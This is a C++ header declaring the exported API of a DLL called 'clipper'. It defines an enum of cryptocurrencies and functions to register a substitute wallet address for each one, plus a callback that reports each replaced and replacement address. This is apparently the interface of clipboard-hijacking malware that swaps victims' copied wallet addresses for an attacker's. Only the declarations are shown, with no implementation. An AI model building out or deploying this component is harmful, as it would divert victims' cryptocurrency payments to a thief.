#pragma once

#ifdef DLL_BUILD
#define DLL_API __declspec(dllexport)
#else
#define DLL_API
#endif

enum Cryptocurrency
{
    Bitcoin,    // BTC
    EVM,        // ETH, USDT, USDC, BNB
    Monero,     // XMR
    Litecoin,   // LTC
    Tron,       // USDT, TRX
    Solana,     // SOL
    Ripple,     // XRP
    Dogecoin,   // DOGE

    ElementsCount
};

typedef void(*ClipperActivationCallback)(Cryptocurrency currency, const wchar_t* replacedAddress, const wchar_t* replacementAddress);

extern "C" DLL_API int clipper_set_wallet_address(Cryptocurrency currency, const wchar_t* address); // bool
extern "C" DLL_API int clipper_set_on_activation_callback(ClipperActivationCallback callback);      // bool